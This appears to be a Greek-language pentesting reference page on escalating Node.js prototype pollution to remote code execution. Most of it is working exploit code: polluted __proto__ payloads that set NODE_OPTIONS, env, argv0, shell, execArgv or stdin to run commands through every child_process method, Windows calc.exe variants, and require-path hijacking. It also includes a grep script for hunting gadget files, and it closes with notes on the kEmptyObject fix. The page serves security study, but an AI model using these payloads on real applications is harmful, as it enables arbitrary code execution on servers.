Imagine a real JS using some code like the following one:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE μέσω env vars
PP2RCE σημαίνει Prototype Pollution to RCE (Remote Code Execution).
Σύμφωνα με αυτήν την αναφορά όταν μια διαδικασία δημιουργείται με κάποια μέθοδο από child_process (όπως fork ή spawn ή άλλες) καλεί τη μέθοδο normalizeSpawnArguments η οποία είναι ένα gadget ρύθμισης πρωτοτύπου για τη δημιουργία νέων env vars:
Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.
Poisoning __proto__
Σημειώστε ότι λόγω του πώς λειτουργεί η normalizeSpawnArguments συνάρτηση από τη βιβλιοθήκη child_process του node, όταν καλείται κάτι προκειμένου να οριστεί μια νέα env μεταβλητή για τη διαδικασία, χρειάζεται απλώς να μολύνετε οτιδήποτε.
Για παράδειγμα, αν κάνετε __proto__.avar="valuevar" η διαδικασία θα ξεκινήσει με μια μεταβλητή που ονομάζεται avar με τιμή valuevar.
Ωστόσο, προκειμένου η env μεταβλητή να είναι η πρώτη, χρειάζεται να μολύνετε την .env attribute και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η πρώτη (επιτρέποντας την επίθεση).
Γι' αυτό το λόγο NODE_OPTIONS δεν είναι μέσα στην .env στην παρακάτω επίθεση.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Δηλητηρίαση του constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
Μια παρόμοια payload με την προηγούμενη με κάποιες αλλαγές προτάθηκε σε αυτή τη γραφή. Οι κύριες διαφορές είναι:
Αντί να αποθηκεύει το nodejs payload μέσα στο αρχείο /proc/self/environ, το αποθηκεύει μέσα στο argv0 του /proc/self/cmdline.
Στη συνέχεια, αντί να απαιτεί μέσω NODE_OPTIONS το αρχείο /proc/self/environ, απαιτεί το /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS Interaction
Χρησιμοποιώντας τα παρακάτω payloads είναι δυνατόν να εκμεταλλευτούμε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσουμε αν λειτούργησε με μια DNS αλληλεπίδραση:
Σε αυτή την ενότητα θα αναλύσουμε κάθε συνάρτηση από το child_process για να εκτελέσουμε κώδικα και να δούμε αν μπορούμε να χρησιμοποιήσουμε κάποια τεχνική για να αναγκάσουμε αυτή τη συνάρτηση να εκτελέσει κώδικα:
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile εκμετάλλευση
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Για να λειτουργήσει το **`execFile`**, **ΠΡΕΠΕΙ** να εκτελεί το node για να λειτουργήσουν οι NODE\_OPTIONS.\
Αν **δεν** εκτελεί το **node**, πρέπει να βρείτε πώς θα μπορούσατε να **αλλάξετε την εκτέλεση** ό,τι εκτελεί **με μεταβλητές περιβάλλοντος** και να τις ρυθμίσετε.
Οι **άλλες** τεχνικές **λειτουργούν** χωρίς αυτή την απαίτηση γιατί είναι **δυνατό να τροποποιηθεί** **ό,τι εκτελείται** μέσω της ρύπανσης πρωτοτύπου. (Σε αυτή την περίπτωση, ακόμα και αν μπορείτε να ρυπάνετε το `.shell`, δεν θα ρυπάνετε αυτό που εκτελείται).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn εκμετάλλευση
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Forcing Spawn
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε το gadget, μια λειτουργία που καλεί το spawn πρέπει να είναι παρούσα (όλες οι μέθοδοι του child_process που χρησιμοποιούνται για την εκτέλεση κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν μέρος του κώδικα, αλλά τι γίνεται αν ο κώδικας δεν το καλεί.
Έλεγχος διαδρομής αρχείου require
Σε αυτήν την άλλη ανάλυση ο χρήστης μπορεί να ελέγξει τη διαδρομή του αρχείου όπου θα εκτελείται ένα require. Σε αυτό το σενάριο, ο επιτιθέμενος χρειάζεται απλώς να βρει ένα αρχείο .js μέσα στο σύστημα που θα εκτελεί μια μέθοδο spawn όταν εισαχθεί.
Ορισμένα παραδείγματα κοινών αρχείων που καλούν μια συνάρτηση spawn όταν εισάγονται είναι:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Βρείτε περισσότερα αρχεία παρακάτω
Το παρακάτω απλό σενάριο θα αναζητήσει κλήσεις από child_processχωρίς καμία προσθήκη (για να αποφευχθεί η εμφάνιση κλήσεων μέσα σε συναρτήσεις):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep--with-filename-nE"^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()""$file_path"|grep-v"require("|grep-v"function "|grep-v"util.deprecate"|sed-E's/.{255,}.*//'done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Ενδιαφέροντα αρχεία που βρέθηκαν από το προηγούμενο σενάριο
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Ρύθμιση διαδρομής αρχείου require μέσω μόλυνσης πρωτοτύπου
Η προηγούμενη τεχνική απαιτεί ότι ο χρήστης ελέγχει τη διαδρομή του αρχείου που πρόκειται να χρησιμοποιηθεί. Αλλά αυτό δεν ισχύει πάντα.
Ωστόσο, αν ο κώδικας πρόκειται να εκτελέσει ένα require μετά τη μόλυνση του πρωτοτύπου, ακόμη και αν δεν ελέγχετε τη διαδρομή που πρόκειται να χρησιμοποιηθεί, μπορείτε να αναγκάσετε μια διαφορετική μέσω της μόλυνσης του πρωτοτύπου. Έτσι, ακόμη και αν η γραμμή κώδικα είναι όπως require("./a_file.js") ή require("bytes"), θα χρησιμοποιήσει το πακέτο που μολύνατε.
Επομένως, αν εκτελείται ένα require μετά τη μόλυνση του πρωτοτύπου σας και καμία συνάρτηση spawn, αυτή είναι η επίθεση:
Βρείτε ένα .js αρχείο μέσα στο σύστημα που όταν χρησιμοποιηθεί θα εκτελέσει κάτι χρησιμοποιώντας child_process
Αν μπορείτε να ανεβάσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορείτε να ανεβάσετε ένα αρχείο όπως αυτό
Μολύνετε τις διαδρομές για να αναγκάσετε τη φόρτωση του .js αρχείου που θα εκτελέσει κάτι με child_process
Μολύνετε το environ/cmdline για να εκτελέσετε αυθαίρετο κώδικα όταν καλείται μια συνάρτηση εκτέλεσης child_process (βλ. τις αρχικές τεχνικές)
Απόλυτο require
Αν το εκτελούμενο require είναι απόλυτο (require("bytes")) και το πακέτο δεν περιέχει main στο αρχείο package.json, μπορείτε να μολύνετε την ιδιότητα main και να κάνετε το require να εκτελέσει ένα διαφορετικό αρχείο.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Σχετική απαίτηση - 1
Αν φορτωθεί μια σχετική διαδρομή αντί για μια απόλυτη διαδρομή, μπορείτε να κάνετε το node να φορτώσει μια διαφορετική διαδρομή:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Σχετική απαίτηση - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Στο έγγραφο https://arxiv.org/pdf/2207.11171.pdf αναφέρεται επίσης ότι ο έλεγχος του contextExtensions από ορισμένες μεθόδους της βιβλιοθήκης vm θα μπορούσε να χρησιμοποιηθεί ως gadget.
Ωστόσο, όπως οι προηγούμενες μέθοδοι child_process, έχει διορθωθεί στις τελευταίες εκδόσεις.
Fixes & Unexpected protections
Παρακαλώ σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί αν το attribute ενός αντικειμένου που προσπελάζεται είναι undefined. Αν στον κώδικα αυτό το attribute είναι set σε μια τιμή δεν θα μπορέσετε να το αντικαταστήσετε.
Το Ιούνιο του 2022 από αυτήν την δέσμευση η μεταβλητή options αντί για ένα {} είναι ένα kEmptyObject. Αυτό αποτρέπει μια ρύπανση πρωτοτύπου από το να επηρεάσει τα attributes του options για να αποκτήσει RCE.
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει υλοποιηθεί, και επομένως οι exploitsspawn και spawnSync που επηρεάζουν τις μεθόδους δεν λειτουργούν πια (αν δεν χρησιμοποιούνται options!).
Στην αυτήν την δέσμευση η ρύπανση πρωτοτύπου του contextExtensions από τη βιβλιοθήκη vm διορθώθηκε κάπως ρυθμίζοντας τις επιλογές σε kEmptyObject αντί για {}.